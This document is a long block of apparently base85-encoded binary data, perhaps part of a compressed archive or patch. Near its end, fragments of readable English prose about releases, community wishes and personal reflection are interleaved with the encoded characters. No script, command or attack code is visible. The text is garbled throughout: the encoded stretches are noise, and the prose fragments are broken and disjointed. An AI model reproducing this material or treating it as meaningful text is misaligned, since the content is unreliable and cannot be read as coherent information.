zJHV0gnK%4R1t&(dn;CdqhOb}T44lbqoSA2hud5Km9&!z)RMAhGkiRU?f;!i?DQRVa$0VGCxgmGV zcrap9XYwEn<-+bXHu&HOV694|Q)TA)1$cM#sKCT_=D7#SiaSWu0z!2~vU4hpn%NpL zc}01I1o7s%Rn!^dS()9^^IP_Gd<4u1e+|?188L4s+Eu6V&Y!uNh!$4s#3k!yeQgk= z78ymrz-OW|CX&;FT?)f;tj9u1&V|e`Jme_jS0rJF!MJ$NI}|y=wG#;X4lFnWYtA?# zGWlaO)3TW)=;E@q+ni8 zA${}aWg-@K(px(mhXwsjKfXbY$VF-#r5pXT!km94bviC<%n&NQw-cH};wriT91qGJ zhQCpGjlH?yzzx1)asG1}=Se#f-D$FvC#d9*|`gapvB8^70vE2D7Z7@u|~>hHwDa}vXz z8PHam{>p|LMO7HAFmPSzEy=h+8AZ?O;O{06h-wYa8EGjMW%17LI~QFUikF zz7mvJAd1actKzQFpMz^0#Rmn-0m1Hs62I~KE_f|gWCx9Pn`xAfwOSbbm*t(v5cx+8 zP{)WOj@*^pjK=VQp>kt%7-&(f!v}&H73kwgiF<_Pc{+}9EJK_aZ&pF+TH~o6+#iNf=#P;PaaqQ3QN0M5~@qBcs=> zM00wsE)hFRmt})|vr&-6_4%ZWQ(=jcA+u;@&pd4eV4Zg)K+qF|Z`vB!-a56wOy_d! z2`kv|%FhWxrKWlUozu^HDn0-r?muRUJLgEp20kji&Xqf=EbR=`T{B*y5YjM18>Ri| zzUs@_NJi>_C>pM>N^r$ksW;|y1&D=4&qC-zOeSfv#F+o)Vu2}Ofekeijv9GfHvkX1 z{u}-0V4&{IUf7E(eeY2#?vO{r3$?$o4Ivg)Qbv}|iosy)M+NC&)x$SG?^1A=xQsRe zS3~+6#`%w&hguA97Kgd~e*R7e^e4>Io7}iUBPisH7|?GcT1fbb-)ROTg8iW&0g9>i z_3VcgvGB@{v|(PjNZm7mXSA(GRj`wqwcl@JO$Wg_&cv~Y&-l0}VeC7cD}AFI)`J3B zl{%~Geb#Ev9vf~<1g<+0rtpi>7MZ!YM)P)k10))&azZ+HlPP=gXNnUctwq2URuaHE z_@0Y;X*?f)!pYQdrtO(Y$vt5r1+Wm`_hB8n0`DX&K9NeV3d^zEecf2>-~>)2jrl$7GZ{_er$S4%1+vq8}$(ra>LZ z2mIq90|tr|4aD}G(G|(`7var~J?>|X5+86Er-ve?Rx6xOnJ)*X=SHzs=?N>(7%#_Z zDNXiK40_pAGI=tA2)v$+C#?CTvb2TDN%|N_$ShQ ze4bHwjuq1Bj*jB@SlmqY%v#3U8uz*CYT&nC%DGO^JG@9@et8VS0v8hC{9 z`(_S6We4Lp-EgqY018fgoGX6KZlMIfIK%;zl^2`t3?Owz7k*ISPQ)V2aHASxi$Y6x zr3um4_r^6NQll8I?_6GI6!{Yu?%)n@Zv^Qgv$863kr{d8*pDmW?4oxwJKQL{FRq6( z)b|C{%L#-iK^)v^U>!u76n4ZN9r;)Z2dB_^y&2kBJv0rGgz|o2qMK;V$PYhov3~Ip zF|)l8w+N0tXsYjEJ;%!IHeBEfjw+x+1U&jXW+YmHv}$L3@+*~;4YdkVYGtL(unfmu zo(Vh&_cE>3ARrQ4bK=Kq@Etq1l%6Tiq|5IAmcL9x{Sm79!~r z2^#DD)|eD3-VMKX&_F)Ql4vxbIt+;ME$g>kdB-cw!SFXyl{XPh46|mO%aL7&L+M~G z?Kl&n*>$7ifjc|a)fn6y`x{=I7}3szDb1XUGotCjURUrYcP`isuX|@m5TZ4Bx`#~5 zgtU)Sbs+`dMpv|hie7LcU3k4j(+A{cdTPUr8KUvtEr6yH@4-$Tw=+x}&skpOs9taO z|H=wI@!!R$6slyr6UcFAJvrY3*(WFxg}ttzof$h}FdFi6`rJf0jq_zx{n2*8r5v$K ztkvm!t5FX4yNwJ8Z)PDOPQa_oT)3XkIoeEPSBP*V+}H7b(STS?7G#thJ15$iaMdz2 zpJ;V1rtMPCZ0Jx799!{jB?deF!-_U&;R+Czx!oMb^A~4*MIxvzy9Oj{qoiT(7HqbCmFcDPane zDpuHyi$(6kJtcS+?2nS+5ddMd-k1c>5c1Z zg>n{C1-7IaeRe2yyf6^)d(!DV0k*Gb>vt676~Eg`>Pf{+-jJV-!)Y8IiRReGtRv9X z=d;qBoCzV{!OYw=Hv(% z)XnJl{=6?MzeNLD9dkY`<2!`W0|MmCQJ0y*HsZLn{LbYmhX3J@?Vo?`zg++8U;gm> z>-YaQPKh7Q@NvOQ(QJJFtKWY4;~Xk8JnYQLKNd|$ir7|Sp}<@pCu&8VIew+BzxDYE zzE+1M-LV38Qj9}U4ZmS0U3~n>!o4ke)A@a~ujpAX40RLTsMD-oEQJ?*qt*UCUuVcC z*&u>Hw2)MRC3S2x9RP3qd{TNdhj9#FP^s>4_iw0s2Ek0QVxlLpJjeDzA9h*al9EH* zDqWL>-?6U$cN$YLyI?h35Rbx$qtm}Vec`c@eGg~JU|ypjn4VfJ!A}T@Vg=Q^J{wlU z0}xryq<(K~+~bB<(Ypt*6(ijZIQm5H66oXnJlhR%SEBblHk}TgOW%#Pc^JZ0`wbW% z(Ip?S`y%dC4n0r%BG%^so4X^$C8Z19XR=gk0N4>sHT+!E*K?;IH5v3sJxGf z_h>O)8mfIkGFQ0c9^5lBv9hCFE{t3w(G#*np5rNipJC#=e?ih9r_~R;Gp-(a21&boM#~ z-8S&`>;vOMwSJpEZVGai=Wj3Ch!IO#EAqJ{*-;Ey3YQ#Id=M&0VA|oY|JOQAD*vu5A%;`z5aqOilKE1Ji#{RIvTrAXw z5rSYJuJR0#R~6J41-yHuO1TL>n1HHZkaj|Jgk5;WWb*~ zd?0XZfcn{x#pegV}x7y_@PP>gRX(Z{KDKq52=E#D|;1H{e6=fJy@NMfDo(CxIG zm;2v+O}?Kd3*e-%bsX%^Fve#BKy8IgXx%2x$AV_1qwqML^Pz0p(N67ro=E%SJ`$jo z^ZByE+euR|DlTg8V3l)kDufVaguaDF;mQOfVvpwM6{t|-M!giL;Q=|4d(aNu`o#D( zDvcAD^#y2VCL*Vy4r~ZYZ8S$uz)3ZG^1;sx8{GE%GuZVBjw_Su`F`gKsJY1PjR2|i z8Dc$@r#_E_cHFtqw!>E(=8NsQHLpmHXD~3MMh!+Q8pn&!+i33wvG93K{{9cwegE2j z{n4x94Vh6MjppLUwivfB2?YkYat->k zZo(@}tXGF?`9*b=--^hItkId2z=&Zc(sf7Wmk5D5Xg6Mn`xkIZZ`kkw&eyvW~<3&nRG`kv!h~nW<|Ks3%1Hq?qn-{}Z$I%}}oGhqmMsamoC*A0*#R z)Bg3E9|8xw*OBd&p9dDSn+28?zv5UF78dBakb0gf6ID@gtOt?8>vPdKPAcOs6 z-p~-sj(H?i9k<23zatVZ!YnQ}gHg3sT61GLwEa!kTJW7s;7QH3 zTJS~}Y6)w$3G_h0F&EdC4frk5qvE@5;zdXb&HsZL)h?>E(poqBj28VwbKqdLnC;X6 zfJf6Nfkh>AE3iE0^OGY-s=b9!6%ozNc3y1W7Tm!%-wu+@@q|w(mcihoO*+H23$p<} z>?A92MlM(IEuKhqC{9*DNeA=wPIzZ5XNWig(%lwZt2?sY%pGbc zNVswp-G%y==fXRRjVL&0=Frnyei9Cs#GePPJOi6OFjR!*0J>kaQaQRW!l05g#)f<* zaWi5nf2TJd*?852S11#m5G7?n^!o3^uo=NMvb|=K`x?n;(a1^9-+u$tAMdfjFEfqj zvDQ|z^I%~_oE08)F}gRRv5eGm0rQ1GEOiG65AX&@pEG@ljgBU#QGpjYMx! zaEarcNCfR9xK6NG$L(;e>jFdYM2tHTb}<1z9=qKJ$f|MhM=PxO4IPG(Fo8NX|sVEjh6K~+!( zR^HJS;^Bqx_X0;P4oyLJB9J)Yk-mUUHEaMzJ>06K7}{jKk`sKxMkDj!IbY@7I6oi* zUJNHE9LqNx)P<8_?8J@X>f!K*9Mq_u=xNPJb8Ve=x;3MQim`Kh*3|}l{U#Eia+$8^ zl*aEED;!hI&9@UQA;u0tDL`%2ICUHChnXD46EFT`3=7WV7^gElAN$hi{X|EH(tE;&g z7eoc^@EPgzTAqD10uaupF*Bi=3>zA*`&C+2dj5P_-a_gFlU=yCD>We2t+@TnZ=vu6 zo#loDzry0l)Cm)fqLabb$!U9WBF8sE<1kZ89>~Wt%B2Ir|BOsIxsMTCvr)M>3>ZeR zXbs5lwj_?&N8gN0Jm0}8dHS{|ly@tk;OE}@`$pRlt(?$ejJI6bImaGesJIiu=Y>x8 z0jYV1G_ki&D#Xz?IdJ0_bf67>e6YV@0PTSNRz^N2b;Mp_TTy+q`8_@y&)aCLu)r3q zg!gj?h~_C-&=-LmJ4B>|y`*!KX{6>}i2rBqjW^Pw2?keaDxu&#QCmDyT} zJu)*tTTp7pZw(2p5p{V(V(+wGE1ZSI-Qu9-cru>9?l;DAhac48u~#}Q7q|EE`A^vP z^S6-EgJk*)+IZsboy>UWIgH=>rXd*?7&tRu!YJXKJ3f!Z0OGWQinDNc#CDNsqIOQ~ z#NRS8P%nhBZD`Ujl+XVV4{9lQ3yw$=M;KjOP<`L?l_`9Z!UtjyH7U z-yhgvCL9<+5ucuYVB_x6x1TW;&VO5eF0Dr6Zhqg(F1Yi}pzf7kEOx0)Q&6Sl!C?)2?ex{?uVc_Ve?mYs+T?&rJaky1AH!4n>32z8gIk{_d>31mbNMe}pMZU71n z1ffxZFp@dgPa~j-Tcl_0?bMnzG)~jQ5a9ImgBLoEGrPcvOl+nPJ>Id+TMv6^jAWGh z^39I#dgj((JXEqXx4bE+^Y%{5xEM`kd=`mJf(wrS2|6Hbxj21Te}jRSo}V*ztDxn=LrU~PE2}X&Y|JH2 zumvr@om?3)=0g23Luwr7apLYX1Iv&63=$*8`xQ}ph}|N*dVMqb%$!*0zgBkM0t)-~ zy_isQVD7z)L?f2Cao>zAE$)>I?9ZJcYiM&Y;*Q#WrskXU`;e+r7&LDAJ$dMewify= z;VeURzmhExxnP+;Pe4KXsF$pQXS}sH6OMxAb0XADVc7!sWTg|(h=QmLxMyO{#kw5y zm@fn?H}t~Ba6EDUD+ry(Cz-f0j}z%y-w=!g2H?()KF+SpEug{GI{5xGQ<;+)!v%ck z*8S6v%V3Xfm<^1}y&-8wElQ6hA=GP_WH;X-{;P?!k&59y8*j;k@}TCAHF&~IrhgE< zYK#Gm$mEqs<}7I(tjC65a68_N-4hAyLHF@Q4|meV52y<;kjP{qY(W)WncigS#FL!T zo9&$G4~4UEd3MBLrBTaF?LAM(PE4maLoKWb*f!z}%yfl058VYb=jRTwF(fM!cI-qK z8N^4$8ZlP>hN-!L)G+-opf?iwaO{Pb4xy4W#i(QRn|K*#CYroLPbG8T8MoJh6EVoh z{h7wOtBmh@B2wc9s<4ru7>PXn`S*+S8Gs3mY9b+t%T)NCn{}Lc^k>FxF_NvYdyU`y z#AT?$;KaKb32*y*a=(!Q7-!&5-V{DaWS)O0uVNI2C}hJb8pcz!E1?deKu&7@fYwfg zk#(fKnX5nmg$WKwfZuPR!x@EQr+7IToR4k!`qpk-Skf^byq;I}-rqyQ6*c*W2QuhD zaQGq&YvHmoet!AnNS|P18HO-k*%N->gbQOF*BeM+7iqM@*XMx2J z+@BZ>2j`_e$IAjkVr9F!0A(-e1|y)92EYXd_Ui8;O{_1OUieL-jl`I6+TKm=lOuG4 z1XsyoIW3X!VkidgL#X>r+Gew z#1Rjdjoq9A2D#+_-VKr6NxehF3VG& z8jUnVD|aqqGeLZvZ9W1JGPKYQdR=+0*$2Xc*x}B1GkEL)iSWRKTBXz{YLA;_azR}{fpji@A=yIS-vPxJf?pz{gfnEvm=L488L<|Ox**)(QjhZx zk;e%jeBs$vO1T9!XqZ8!pF7e&h^qc`HS<^15!Chr1kQNbXRO>8F-V2!dm*4L?H|pt zGT=XG2?2Pbr`+Kd?^uy$k{@=zMkcV8mpeMS;%C#-nLI#{%~WYS#=9GSNF#anq_{D! zC2q*ruoik^zHl@8$4oGL^q}z)X^Wq^={35^g)Va#3W3T_+;1C4+y>M)UhC=koM99O zPr5L*vX^_(ajN7boB-lZ=HnYZ;lml;1o$bvP0|a;{w`0WK2La*HWfWgq4e&Y!%J(0y6to@C-2=>;3+bjh76Nu@Z zPA}b=@st7tSAf`H0PpP0chC zWbp~@&3G3AY0&6f!vBdLFLufCb1sZN1%=y0#9nCO(Cs8j61gr5Wx`h8h=oR^XY{{N zH-(}cOY{j#=VIT;Sa3G@JQ?6=glEd1!Oq)J+3jG@Gs!k~1IMwPFeUE`#2jf0>?Bckf%+E-rL^QEQgj&3(e^@oVy5c_ zP4!09bThaKnHd9)Xm>Vf790~7FXPw{CSr^Wvf+YsZ9~dCe`^)RFc|W0V8>QAikTOO zCU3M6SwecUgMw4I{Z<@cw8ty-+bYk$Keg~Uq_*;YB}XH;8%veh?p6r7RFrW;?Vl7c zJ3OP6F;P$qU~TMJXJ2cY((D~$Nnzu^6o+^~(V21VHuX1!wL79AzP!*<4x-H`cGeCzK!`OVkE&AvBmJf9X8Mm^Z*v)>f zc=;g2H%~vv-UocCiM=TdAgq-b#3Lgs`8|{h`qWJkE+v`XPlS*W1(v{01VaUan#Q;r zYFAh%_h+@ONPTXMBn#f@h9p3ilIYF@cW(G#@h1mqfNYnJJ~VO zWxB-S8Xs0c^mJuh-L74DO9#^TjB<0BE8&qh=WJura1&Fw0Z$pvZ`EYDKb6S}Noq1}CcQb5op8eg z;lY=Y^ogAU;^gVP1fz8a^|F934OGenc}jB?5se#dm>_8IW^d#&jr-HY)mHORrGp%j z8Pb+!%voyi&KV|A;ATSY-T1np5FL8E1dbL z1S-v>`s}+GsToEySK?!Z<}^%r6=J}Nj4Rf>1`b$|&X7V91ts%>73J(FL}##6!gx<* zRoUqyE9rVqa>ojvdEdu6tkkp<0?d=xx$!e6tSuco!zFrY;*%iRHT7V$6(_9Sy}Zpj z<3tJwx5*~l%PafUMksP;YTQWBTB#l{s{Q$!#V}z7mX>=WR6MYG-|X23dv?fI@AqD} zlVVd52yF)C($=jI_)nfv=7c<%vfM#I`MGLp`vhfCze4f@2tj))=6*EgZtjhl+tFO# zbdm&-DC~sfvNitOsD-BIOstR{yYPJ2D|UW7kvq5dgO0<3Kx*tSr&&rn)Ig}B!Bb>z zzmoh(?*m)=51R=w|F!mrBU3exp z%7_c2eI{{4>v5u*jWdZ9$k8Q&@#?U+BLJm07>HaN%iDBS4 z?IWAAJZq+r9hpFpjy-kkpdIRNpbidhF8iCqn5pi@bEwx_3egejCpzcB@VyY4oJ>X- zP2bp(;y!}5snfgL?l+U|b{cjerADS+FiK=Tb6{a1ypP{2!ElW1P85yG;AQKNb2xCK z+|VPcJU?&KN%a&rJ|#H9FgVXgb)#{AoPirv=lX4i66Z7T%LeZ|>d>F8+doM0&f5vnK(bJOQ-iF!YpYC;v4Yk4P!&W?jD_OdUn>v6FShaRrK}jVHH?i;O0p@y1`8zn8+?Be>!br8F0N3Ay2|A`=R=SG}hg-5@dQ#bBzC`Mx1$*pjrV|wGj3Lp&d&CGkZ(s>y5 zS3^m+AdNgos#^h7uJg}Tu=#_8?mz#%f9*VjPt5ekJ7?d?Q@*M4)AhE$W>#c3%@;m+ z$W6Idn{ORvRH)zM+gdO-S2D8~rrQfUTH~f2o)t1%!iIf5@9NkAI|TCrMmi+!+=~K} zMZ&!Rra&%$>AL`Y*=4;xQt?ge^UWmiqM@;2<($+2*Yrj+?x+hV`pqj&n9QyJ#E<80 z)|up2A}bm>HZcD5x8A7a4a!70d6WnI&>)9Fd}PVW7e@eZ%GC^Sipsiy*J!z zn2Tqu(~F{s zMHQ2__pCPZ!{|fKngf_Z9NZl$sR!e|7(2|(-y8Xq>WVr23;iqmrHNVM%`Vi?fy^Y2 zRv}WTEHYr50Qz0e%Bfi9C!ki**&b)k`je;s2N??a&&Tdx8(5SZJ3g*VGi4$GF2Ny< zWwkJrEzdRXhV(QkZJ;&V`S%N>GKB_<5)2;p#jy}{y$g>VB-{pSK_cLE|V%T}$ zUs`EJhgB1!Yw+zX1-TxwOQt9adC=z!$bqgL~kz zG=}#_m)-L;2Et%Vd;8Ekw=l|0&oLe{H1eS*1f3hla-jr>3!)?B0@0^ESCE;8(Kt*p zso|B@QYV;l;nE*&z4asFJ;Ji^-$9Lw(!V^1fn$%GHFzNW+K{Iwq%#WyleNAXJ^S>g zmfg@&X2j)*CRJx7Ft$H~npc9UE0o5~*2w{fAHjfW^2_!1#wOm3nd7jxH|aHO#4x~b zM6*VomhCM!uZXnb%>$pX)c4qRLpX84PnifwI=Ik|Pf}oUJMsy80L5bFimtHXgw0iu z&_ui^p4KAceI_;Hd=o`wP>&*GA-s1(qP)Sq&s<(6FbNy+Un@?8{48+y@7{9}U@w;_d}5KhOzFPo7_s+s4uLfb5~|Dpv$yp!M80V?1q@6pW0 zD92&*SkDa~cZ7r+?gghcgxR=pLsH4;u95{b_Txs7U7-|yqef?}(MO%|xpWk8<5rtM`OOB2OwV>ZzL0ST$?Llh zJPOK#q9=5l=kwAe^7SI2oWf`vZtFL$M+1%>FE^fyFyEt@xv_EIuufK#fHA*7@jFop zZ|HCiye2Eitb@tY(cT)2NU}RP#_`z&a+Qd(20U%S|1n+f`%%PV9M7jc0VyAZd*~Y; zJ@W_|0&*W2p9kRi@@zkislke~X=V0nH)d?xLLEdbenIwew4QV*cib77`|lzPpT7j=$ASAWq=vj=C~!zYOC23Rzq&KsrP*n`JaZ{VUy$GH_6;mb6jNs27}vH1tf|+Dg&FUJ-XB--LeD0&kmvx+SPu^y$(b9lTBy-h2ioKT@|%ouU!2dbE#e9&abc=u1|E_8y!tBOY?9C~yj zZ=ga(Oq!TniBGcx9BX4%Ykob2{&=cZ3Yp+V;kZ$%Ry@-iu1-QfJ7B2rLTt~UY54Fm ztuRrwD`=Yya$O<>ys*bl@VE|?s-qs6g#FVYRw;gQDQXnWB7w&`xt6z&ZT#ewP?3oq z@c7#s{I?yy)W+{3UD5#haXy3(lkahb!PpGYK&Q~qYjg;jF&U<_TX7vkpdB2u8AaX9 zsnQ9Qn3>5JgVW$us{0?m#YS9Hgm?hwS_rgJ6CW{-v=cKhra)8G=c;A{;=X?J;_*R} z!u%sZ_o9jzPd1d#)AIz)S&u7hd)CuU(>Bpi+4wnXJZ@0EGfu`8eC|cm{X#vn;D?Cd zQglr>t=oz4%K&I`d%CGnqfHFF+Cab2Aie;D-SBlfGnx$QwucY^?UO4fBMsuxizUYA}TScJd3o~9^1v_=ZO=RgwL~=|fQOb^gU%68T2L3zF3@2-75*zfO z^=Usf&Zb86)-}Dg?VYgO*sJQZW*REhv6d#0fBmVu#)&i5>P(CF!e5)tw+ds1(Gp5h z>XQj2V~o0J-i@=qbDJ-mxjQaoc_b_K=Z>cKL?=CZEu(T+;9IZs8v?b?Igp7>4=*pb zs}n_g)a2W9j+gWKc1}Qt(NQDi{tI~x@6m-iOhozyh0WSnC-j;99W>+-a# z0$_rqpp!dXnQ-0+x;Ese8##tmE-U#E9b0k80_yX-2YzjOBjdW3JX%f)dIEC6byg9; z1!!&qk`>2GWqwXmcuZsx@}R=2Gq$KDy)E~RYyH7XIdR#FtW~DFS-1c^%!`db1W8PQ zXTHINh}pD;5YCcBxRcV=fOaJW78$eOXt)&c>gE}37W>!R{29iIo5>5-tQ}xVWGxho zm-E{oFn&jQq~dYLL3bdpzc|ps2*W4r8nO4MxfYWk{&ysrd{k~OB)E-FG1kig@i!x| zugjY~yka_N$~J+U#|i}o5|Tm=xg7~pm;t%qHOS5ZSR)naVmBJAX6zpq-&o`xf|bbp zd#BtNQ=<)${LaL0LIV*3Ro=XesB=QtAJ;h~+y_V>p*ml(rt4dZKdu!E9NdXKuoE+7>&cYfsFBPC zY$sNsU|$_iDPzwWMMgv>05Lsa2Jh`{dszVB6cC^lbnDm?GFfdmZSV#3|3*0#GQz@O zkrjCJ?QgUiN2RdPzP!^LyA*pQ=|bwU7Fvyw^M*Mu#vklpqWK!)Llcq{lXfi+1b1I)WAd@JDAodB9Zn{e8Q>0L;M594|J$#U}pD*u#!xCnNl zF+JqQMjJf=u<0vQtw=^d<$q0YrtpNebmOo;Afz6+6K53sE7iDetxU2^JHAn4$=%3w zOUALS0=MB_>fB{E*ffdw=owjHvk)gHtJC@1=`DwxtJ8)S#Rg5^2|JLPE5l zKG?WBUpiFb2hI4UCL#@@Gt6&s;V>I3q#>-Cm|J#&unxQeH$BJ;f=RG-Wj`?QsBH84 ztAjMmmJ`WN{QL1qDm~$oi^oP>dK~x}DI30l!eqV^$$8Sr-{IYi%_(TOPqpFH#o=V`lgXpq7fIo!JSK~D)N(S zMzObp-eJ52$Mhx*kB!#Un4L~-be7=YHg=mGA@qj#^iV;AHbm$A_`dGtb0^P@km-~@ z%;hvQRk%4y3j(|Xkz}I}5vfP?0t;-IPU3S9cXb1u>w+kLk)Ah z{n|6SpN@xXYj4`4J=c&(BSZ|!3_{14;uB981c3T{o|PV?vBeF3;*PvJr8iCcg6a@K zCkrJJUc{Bah!qiZ!Hv1V0xrlzD@2%fvJ=Bf4S(Z~Fmhtff$}M+<$Ui4{-Q~8?2bfs zf*OO4=S2BbnX@h5x`36_^|U{o-Xg%6&h(6rCAiQ1nML2o_D}NP#@@MdWs0fb_3Ukx zI^w{=yF;}e|7JrMvY{UeH%NajX;E^mPruwoN@%ml$ja=Lmnxt3mU>=XjY7+^Kkr>| zfQjl3t_Ww;ieR|wK)&A@6JOY}*R%f|*Sn22(Y2is>|gZV$g2Rb~C_+D1!IRu!4^-75Q$*ys&TkJ-A_IES zkSk=MKjlC|M}N@Sn}E}Fhp#wJ!mW}3;g$P^&P8<7epxSa@E0YMtynxU8s zPy^pRJwJ27;SqfR;t2yIu)NVVH<*RMDbH^lQQ)vvLK6@k6eL*(W6p|aWk!}TE_gSe zc4dHl;sQB{*gS9ug_8qmPV^fA19qNaVCzKbBG`v#$uIxq_#6ef*qN8#XIp0W)=Ka5q5~bGFRl#-!Pe zfLAZ#H^i=oVFGx{iDz!D(bpFbmu ziqIZ{BO3KxRIEs7B9iN8MI#?%`Yb;peG&nK^Zwoe4?=I^Z6Rm(;^Yk=Cjrb2a8Arb|jk<9{jO*#a&Kul> z^*PUCAVD)@JkRmAhmH^G=y*qSaz&G1)yZ+d4w02r)$7VL3uL)wLQScW^v)% zQ3@db3sLt3jB-a0bbmuGF2{Q=D%v&^Vm|iOomF{rna`l?t28$gp0s6e3Q=sEE-x05Nc8F+S0`RU-7cy#Chlxf2cV58%@=Vza{7vOszZO|F|<@W(idbXX{1q!2PY^WvpM= z0jQL={tm9V&_^8D>1^vq{S5g0R$LDt>LhP_yk9#InvO+s!&4nY3r2(&!-h&cROKv= z)p$O2W9%digUs=)w*z7P$`~$G00q1mx4J~qbG$+4TSK84uZFE|{tk)}pa zfw@Zcg#X3qt+OIeN+`#Lml^90XLrgB7pmP&a9O-dgpF3_O2KZUqm8s zqik4eMkQ6bDKugNW1up>@oZui58}nf>1hWjQJo!Fr4RDdJNm@VZ9TfnL>Lx!+G6h+ zAxgw~Q5%NolG-imSvnq}z~br61iQ_scpBQ`3H;{?*gfE&;C08ScqQs#Lq>j}e=OMa zH{#uH%(e?=fd!oZOswtun5_pN3;>Z z65~?wA?P$$q6O;m4*CcyE`5fI&8-m%u?exDYm_096+L?R;0piLVG2I2Ybqj&hPgVt=Bw4IK#)k*qDc!46e{-&H=*B?;MJ}9C zpRLf(8yQ8jxuK-LENp}`S-KOclcT&n!MSbZ;chH}PWD;l&omeSQb4W0?tYnt@m|Ig zJ3jM5n_fN4j_0${NM6hkVjvV78-nbP8~B90Inx9g7y7smz(2jX-d#-XH(YuPrTwK34Xxd{9oM^{xxG>Q^KVhvh zgl@R`$18Q1Qb8LaqcP0bA;wD_`oZa4yzk()4pQekO^y|reo$!h(@u!8h3i6Gapvba z>|_bts4o`U>S4t~bx>IwW6L+4eTIg80SeRZ6cERZ$30qOAF10^mSvu+=8Nrl|DrAC zhR&NklQLgvJdS@x(a!Za2}MI*9+@Qg_9up$m1I>V-;QC%7T*}sOf=$m+=dH+|JCG~ zll7S2?$(0vAV{!$lLxs-J8yiWsB*mVH`>I2p)yqR?!R!Ph@=;~$KLEaPjH)?R3QD&GYmQ zGaqlwi4CVfDyxhM$B7hzDE87YmmyGD>zg`wW69}1Nh+DrC*|pnu2n^ZH#X)`6wZP@ zmZ$HreN$kC6cTFW$*t$hFA6!gfpZB@EH~4biZb`#pzBWS+h7v?B#M<2l+Y-V`~1E; z%hjFvEoMreFIEVGyW(diba|-NPDR-3vsfC-YP^CI0mB>d-}3md0Pr0} z+&5v5<9l2HhKx@h+e1aZi5tApKi`R7j4luz@=OV95cL-=6&kM1Xi8Kr5wi&xZ>Oj& zC>byAdX3xS0Zi;f^jzSgZ=kV4Cj)S4N84yL)(Sv$Y`qh+rwMRbhwU3!CuXx3UG6Re z8rkvq8#CciH;%nVr?~*9%ydf@^lqEI@ttpk2~jmR3e!iS8*m+;&sSAOHqoNEL*s8# ze}*0Eq|3N5i(BejjWVvihA~8;L)T>DD!nps%J`5wfT+yuF`|p<*KdT;)crkw7{%_` z!y0j|ZEiYR%c_yr%e!C(g(pA2ATM}@c1 z!CGJu%tYRA1a(Y888_5JiSzJyU$Hwga~;b!iiZed!5~v;AY|sZhRYiYn6VEez&7fA z4z$`kf!q>HI;@gPGQ$PfsiR&D(ly=j8GBq9(Lnt*%BG6hWRzkJI!DFIR?t37oQDT- z&V`G)$iPa@Mg{+~<54$&C%Jym+MZaVCU`HCI!gBYj%~4E30Xjac8qZoeaegMg$}vG zD87mfcLkkQJ#&afPt36e|EyRfZ`vj&0aqO>;mq^-KauhOr&Rr$>-Xoc_g~J5|MI)P z|EJ&m_8))uPrv@6aWGM2mm3r;Y{v`db|UX z004<-0RS}s8~|)-Vsvk9V{&GMaMZ?b$AN^0R-p+000E&0{{TkybH-G*2|K;y~_WBS1t*ZJlb`!#>{?f3ngZ@+tezrXwb^-p_#|Eu4~KmF=A zukU}p^;duU-mmYz`G;@&_y72t{rYbHeE)L4{`)uI|NPZ|{p)-j;KZU>WfAR88-|O{X_rHAi`qklAzd2|BW`Fy=yz~Fq-@Sg` z|7pL*-rv6dVSl@S)4$*AFJAvaE@k)mbA5rl_Rn7V^_%|f`qeLAzuez_*Z*PbyS;v~ zzx@Zfma)J8@A`VLzb(J@3Ms#SHNW5AfBNp9eWkthxBuyz{_5|y{;vPx`%m6Bxcer5 zp?A-2;C}t%w`>3A7yt6jxBnpT{oT)B=O4eF-+%L~Z}qFo&3paLfBx+=+277zE&a`3 z?(cv8E4e%0y?*w8|J9%S|C8VRW&iHKzQ41)fxh6kZ}#2mKmT9e zZ_YP%pY`{Dbg$o!`9FU9{r-n7&$G)j`_2CKZ}xX`x8+6SUtZsR{~Ng;Zk~NNeE}b$ zSM-a0zW?Q~WJU0Aa@+LUxm5k3{;J+Nxq{ihy}xuH)j#)N{`wdD&)zrcxBqK@7F_r< z=iKYxzy5dk&;LiAuiReA{cunJ)Bcxx!@v8>_czd=z5HLw;tBCJzOk$1hk+laAOG;- zhxx}pjQp_t_=kxf)*t^c^TYPz9~S-L<9__Z$`AdIf7s-Q>G|=ed-s>JeBuuu^b;HO zOI!Be_7eTAzp)XGS$KKN`?^oZ|ov@~>K6Yre{U z_409ed&rA1& zf93ER@im>kS$$sJze0c2`s$CoqQ%!buajP~zWR8Tpl>wCYdkMkUUTaY&wOpC?wt{k8RBIscL^?fj>| z_nUA2NrLxpe{tzAK5|3lRz$t0&FMER>lM!{MSZGMekk{Hyq42v5cPBA-pC`6x9&%u zLVRA)z50HgrvEn`eWxfd+WKwf8}N*Jc}b{{dm{Hwo~=ZgdS0!(YI;3g-@V8x39p=A zQ(rN&K3(~Ac|d`CDsLqJ_3{8bpBnl3)U_n{MDAbGkKX%L<&kz>LX%}G@B8f6Dz9B$ zPke2@M9}XcA0UgM$oG_$ENl4DB_!)hUfQO9iP7~6ndA$kp6vEM8pO1c? zJd6G4!j{jIzsRj?Ti@~-ww~oNx~vaSmVaq4`DU_D^g64q3Aq^iuCiVwY}(WM+uwX6 z$M~=H@yJ!nH($7IokrT496y_#5UdF$hmfd+2OIB{6yi^`SXY-_FpCMmf_Ka*=xoUZZ z+*dD`G4wmj7Lwhix4g46qArk6zt(@#uQjsn7P-5!sg6XB$PJAG?K2H{#K24&QJa^gZ zG3eFGja~YD<#x%1%kd{0U*eT~u0$uj_wtKLLxe04S#0vgP2O_dul4Ky?Yq}s|J~nz zvakMDzoIOfBX1y!?9qEKw@!A1ykC_cCS75+yb@1o>sOTEAx}=uGzmT|E^(HkKv(+~YH zSzfX!zJXk@e7wA$eZ~LwJ74kt(XS}GMuO(UTQMAJ z|J#53_Mdo+MITot4#@k+3Xs(&PefMgA#}rtm~$38G%(r37U8ni5Ji z;CMZsB?$LZ$x8d&w<$?V-nKV2TE z{B9((lOtGuQ8uh(f%07?)K0>E&dlv!DOc~SMkIN{MdPxbB1J!~pZ8n6_maGyJYe~54-Z9_hkOlr zd(EiH^W+sApm2M3oyQ%U6;OiQViO z`Dh7ivRyS@IwVt#tfPxSe;%USLHEozMdXNK@Xk9QT}iw9}>B&pV3%_ znVTbtl3bFk47r$1yp^w|)xgyE&}3T^Y1!Hma`V)OAt|ujC3!o!b#mNDAk7`3;A-7s~qdX#6l(NZ& zrK69g67mY!GO`%u>r14l=ZEZF(>#t#xn=V2wqd0}8r;xKhNvr&lp$!=D0luxn?mcA zsu4@prbHIG>yg+f8$r$$=cOPQ0aFj6||UwyLRf*F7W=Ttd41TsFVsD>cHf+@;7Xf~Ie>vgHR77G)#o z5wbNyl|Uc~q!uKP{?Qn$`MV?ak~J@JSH6&ZMj-Ua3Y51|Od^n{bzOu}7p&(kBu2?; 